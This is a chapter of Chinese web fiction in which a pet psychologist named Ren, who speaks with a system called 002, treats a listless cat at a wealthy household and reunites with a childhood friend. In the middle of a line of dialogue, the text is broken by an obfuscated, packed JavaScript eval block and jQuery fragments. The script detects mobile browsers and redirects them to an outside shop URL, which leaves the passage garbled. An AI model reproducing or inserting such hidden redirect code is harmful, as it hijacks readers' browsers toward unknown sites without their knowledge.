深冬的早晨，窗外寒风凛冽。
公寓里开着暖气，倒不觉得冷。
莲从卧室走出来，穿着昨晚那件白色睡袍，领口微敞，露出一截骨感漂亮的锁骨。黑色卷发乱翘着，整个人慵懒而靡丽。
萩原已经在客厅里等着了。
他把刚热好的草莓牛奶放在餐桌上，走过去牵住莲的手，让他在沙发上坐下，自己半蹲在莲面前帮他穿袜子。
莲晃了晃另一只脚，他便伸手握住那只光裸的脚踝，指尖在凸起的踝骨上轻轻摩挲了一下，然后拿起另一只袜子。
“真的不用我送吗？”他仰头看着莲，半长发随意地垂在额侧，衬得那张轮廓分明的脸多了几分潇洒不羁。
那双紫罗兰色的眼眸天生带着几分浪漫与诗意，此刻映着窗外深冬的冷光，显得格外温柔而深邃。
莲摇了摇头，声音还带着几分没睡醒的沙哑，漫不经心地看着窗外飘落的雪花。
“邀请函说会派司机来接我的。这么冷的天，萩酱出门会冻的。”
萩原站起来，从衣架上取下那条浅灰色的羊绒围巾，低头仔细地绕过莲的脖颈，在侧边绕了一个结。
“如果需要我去接你，记得打电话。”他垂眸说道。
莲转过头看着萩原，勾起漂亮的唇轻笑了一下。“萩酱最近好奇怪。”
萩原的手一顿，指尖停在围巾边缘，几秒后若无其事地收回来。“……哪里奇怪？”
“特别好。”莲的声音轻飘飘的，带着一点天真的困惑，“我喜欢这样的萩酱。”
萩原愣了一下，随即轻轻笑开了。他抬手顺了顺莲的发丝，手指从额前碎发滑到耳后，动作温柔而自然。“那就好。”
【监察者。萩原研二最近的行为不太符合正常朋友相处模式的范畴。】002的语气里带着一丝审慎。
莲在心里轻笑了一声，【是吗？】
002沉默了片刻，似乎在权衡措辞，最终还是闭上了嘴。
公寓楼下停着一辆黑色的轿车。车旁站着一位头发花白的老管家，站姿端正，见莲从楼里走出来便微微欠身，动作带着一种老派的恭谨。
“雪下先生，久仰大名。我是佐藤家的管家，敝姓町村。今天劳烦您在这样寒冷的天气出门，实在过意不去。”
莲微微点头，坐进后排。
老管家绕回驾驶座，发动了车子，一边平稳地驶入车道一边从后视镜里看了莲一眼，开始说明情况。
“这次请您来看的是我们家的小猫，名叫爱丽丝，是已故夫人留下的猫。夫人过世后，爱丽丝一直由家主亲自照料。但最近几个月，它忽然不肯进食，瘦了很多，请了好几位兽医都查不出任何病症。”
“还有什么别的变化吗？”
“这——”老管家犹豫了一下，“最近半夜，爱丽丝会发出一种很奇怪的叫声，声音不大，但听得人心里发紧。”
莲微微侧过头，没有再问。
车子在一座气派的老宅前停下。莲下了车，微微仰头打量了一下这座宅邸。这是一座传统的日式建筑，庭院里种着修剪整齐的松树。
老管家领着他穿过长廊。
莲步伐安静，那张秾艳的面孔上带着一种矜贵的淡漠，完全收敛了在萩原和松田面前那副撒娇耍赖的模样，眉眼冷冽，让人不敢轻易靠近，却又忍不住多看几眼。
“莲……？”
一道生涩的声音从身后传来。
莲转过头，只见长廊另一端站着一个长相桀骜锐利的寸头男人，正愣愣地看着他，脸上浮现出难以掩饰的惊喜。
“……佐藤同学？”莲难得有些真切的意外。
就是那个小学和国中时，每天抢着去小卖部帮他买草莓牛奶的佐藤同学。
佐藤弘人快步走过来，那张桀骜难驯的脸竟泛起了一层薄红。
他比幼时高了许多，肩宽腿长，寸头显得利落帅气，但看到莲的时候，那些年的脸红心跳又悉数涌了回来。他在莲面前停了一瞬，然后伸出手紧紧抱住了莲。
“莲，好久不见！”
莲睫毛颤了颤，等他抱了一会，才轻轻拍了拍他的后背。
佐藤弘人有些不好意思地松手，却站在原地没动，目光流连在莲脸上。
多年不见，莲比记忆里更加秾艳昳丽，苍白的面孔上眉眼瑰丽似花，美得让人不知道视线该往哪里放。
“你就是来看爱丽丝的宠物心理师！？莲你还是那么厉害！”他一边说着一边领莲往里走，时不时侧过头看莲一眼，像是怕他忽然消失。
他本来就不太会说话，小学时只会每天争着抢着去小卖部帮莲买几盒草莓牛奶，现在还是笨嘴拙舌，但他有太多话想说，有太多问题想问。
穿过长廊时，莲看到一个花艺师正低头整理廊下的一盆兰花。那人戴着园艺手套，背对着他们，身形修长，动作里带着一种说不出的从容。
就在莲经过他身边时，那个花艺师忽然抬起头，对他露出一个似笑非笑的笑容。
莲平静地移开视线，跟着佐藤弘人继续往前走。口袋里手机震了一下。他不用看也知道是谁发的消息，毫不理会。
身后传来极轻极轻的笑声，带着几分愉悦的戏谑。
*
宅子里仆人们来来往往，手里端着各式各样的东西，似乎正在筹备什么重要的事。
佐藤弘人注意到莲的目光，压低声音解释：“其实明天是我父亲的生日，在筹备宴会，人手比较杂。”
莲收回视线，点点头，跟着佐藤弘人继续往前走。
爱丽丝的房间在宅邸东侧，是一间单独的日式小居室。
纸门拉开，榻榻米上铺着柔软的绒毯，墙角摆着精致的猫爬架和几个陶瓷食碗。
一只雪白的波斯猫蜷缩在绒毯中央，毛发蓬松，琥珀色的眼睛半闭着，连有人进来都没有抬头。
“爱丽丝，医生来了哦。”佐藤弘人在门口蹲下来，声音放得很轻。
波斯猫只是耳朵动了动，依然没有反应。
房间外站着几个佐藤家的亲戚，正低声交谈。他们原本受邀提前来为家主的寿宴做准备，听说今天请了个宠物心理医生，这个职业对他们来说还是太新鲜了，甚至有些可笑。
“宠物心理医生？这年头什么职业都有。”一个穿着深色和服的年轻女人轻轻摇着扇子，语气里带着几分不以为然。
“心理医生？猫还能看心理医生？怕不是来骗钱的吧？”旁边的中年男人附和道。
然后纸门被轻轻推开，一个年轻人从里面走出来。
所有的议论声在这一刻戛然而止。
那年轻人穿着一件米白色高领毛衣，黑色卷发散落在肩头，苍白的面孔上眉眼昳艳似妖，却因眉宇间的安静而显得有些凉薄冷冽，看起来优雅而矜贵。
他微微侧过头看向走廊里的这群人，那双宝石般的眼眸安静而幽深，没有任何多余的表情，却让所有人都忘了自己刚才在说什么。
明明给人凉森森的感觉，又漂亮得尖锐，想移开眼，又像被什么拽着似的，只能堕落在他的黑宝石眼眸中。
“请保持
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629649|206320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
安静，小猫需要休息。”他说，嗓音凉薄如雪。
走廊里安静了几秒，然后那个刚才还在说风凉话的年轻女人收起扇子，声音不由自主地放柔了几分：“好的，我们不打搅。”
中年男人的语气也变得温和：“医生辛苦了，有什么需要尽管吩咐。”
莲收回视线，转身走进房间，顺手轻轻拉上了纸门。
【002，人类变脸的速度总是让我惊讶啊。】
【……我也是。】002道。
莲走上前，垂眸看着这只恹恹不乐的小猫。他没有伸手去抱，只是站在那里安静地看着。
爱丽丝的耳朵动了动。它缓缓转过头，一双琥珀色的猫眼有些黯淡无神。
莲微微偏头，睫毛在脸颊上投下细密的阴影，和爱丽丝对视。那双黑宝石眼眸粼粼流转着某种奇异的光，瞳孔深处似乎有什么在轻轻荡漾，似乎在施展什么蛊惑人心的魔力。
下一秒，那只恹恹虚弱的小猫摇摇晃晃地站了起来，迈开瘦弱的腿走到莲面前，仰头看着他，发出一声沙哑而微弱的呜咽。
在场人同时愣住了。
只有佐藤弘人盯着莲的侧脸，他突然觉得莲变了很多，幼时那个说话不着调又爱撒娇的小孩已经变成了一个有些矜贵安静的男人，虽然还是像小时候一样漂亮耀眼。
莲伸出手，让爱丽丝顺着他的手臂爬上来，蜷在他的胸口。小猫把脸埋进他的衣领里，瘦弱的身体还在微微发抖，但尾巴尖已经轻轻地晃了晃。
低下头时，一股极为浅淡的气味从猫的毛发间飘上来，像是某种熏香留下的印记，幽微而黏腻。
他睫毛微微垂下来，遮住了眼底的神色。
【监察者，这个气味——】
莲在心里轻轻应了一声，手指继续漫不经心地抚过爱丽丝的脊背。
【有人在烧生犀。】
这种违禁品制成的熏香对猫的嗅觉有强烈的刺激性，会导致食欲不振和精神萎靡。但猫身上残留的气味很淡，说明接触时间不长。如果是这样，那香很可能还在宅子里。
佐藤弘人看着这一幕，轻轻舒了一口气：“它已经好几天没对谁这么亲近过了。莲，你果然会魔法吧。”
“我是火星人。”莲头也没抬。
弘人愣了一下，终于大笑起来，刚刚的多愁善感一下子烟消云散。
仿佛时间倒流回到了许多年前，小学时和国中莲就总说自己是火星来的，那时候全班都当他是在开玩笑，只有他最喜欢听莲说那些天马行空的话，即使现在也是。
莲没有变。
“猫我带回房间观察一晚上。”莲说。
佐藤弘人连忙点头：“可以！爱丽丝交给你我放心。晚上留下来吃饭吧？我让厨房做你喜欢的菜。”
老管家欲言又止，但看到那只恹恹了许久的猫在莲怀里安静地眯起眼睛，最终还是点了点头。
莲弯起眼，摇摇头道：“我晚上还有事。”
“那我送你回去吧！”佐藤弘人脱口而出。他顿了顿，那双桀骜的眼睛里带着少年时代从未熄灭的明亮期待。
“莲，这些年……我很想你。国中你转学之后，我和美代子她们打听了好久，都没人知道你去了哪里。”
莲抱着猫停下脚步，偏过头看向那个寸头青年，然后他弯起眼睛，露出一个漂亮耀眼的笑。
“好。”
佐藤弘人那张桀骜锐利的脸瞬间泛着红，在冬日的寒风里却觉得浑身发烫。
多年不见，他还是和少年时一样，对莲毫无抵抗力。